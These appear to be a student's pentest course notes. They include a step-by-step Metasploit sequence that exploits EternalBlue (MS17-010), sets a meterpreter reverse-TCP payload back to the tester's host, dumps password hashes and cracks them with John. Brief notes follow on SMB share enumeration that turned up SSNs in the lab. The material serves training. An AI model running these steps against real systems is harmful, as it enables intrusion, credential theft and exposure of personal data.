**For Module 1 this week, record any notes about password cracking you found useful that you may want to use in this or future pentests.**

Eternal Blue articles

<https://en.wikipedia.org/wiki/EternalBlue>

<https://darknetdiaries.com/transcript/53/>

NTLM

<https://en.wikipedia.org/wiki/NT_LAN_Manager>

Passphrases not passwords.

Diagram, text

Description automatically generated with medium confidence

1. Enumerate targets
2. Scan targets for weakness
3. Start metasploit
4. Search MS17-010
5. use exploit/windows/smb/ms17\_010\_eternalblue
6. show payloads
7. set payload windows/x64/meterpreter/reverse\_tcp
8. show options
9. set RHOST 10.19.99.117
10. set LHOST 10.19.99.222
11. exploit
12. hashdump
13. john hashes.txt --format=nt

**For Module 2 this week, record any notes about SQL injection, XSS, or HAL fileshares you found useful that you may want to use in this or future pentests.**

smbtree - Need to map workgroup to machine name to ip address.

Text

Description automatically generated with medium confidence

smbclient....  SO much time saving that could be done here.  Automate calling a range of IP's and it identifies files that are interesting.  File named, pattern inside the files, etc, etc...  Found some SSN's but I worry that this process is too contrived to be a learning moment.  Too easy.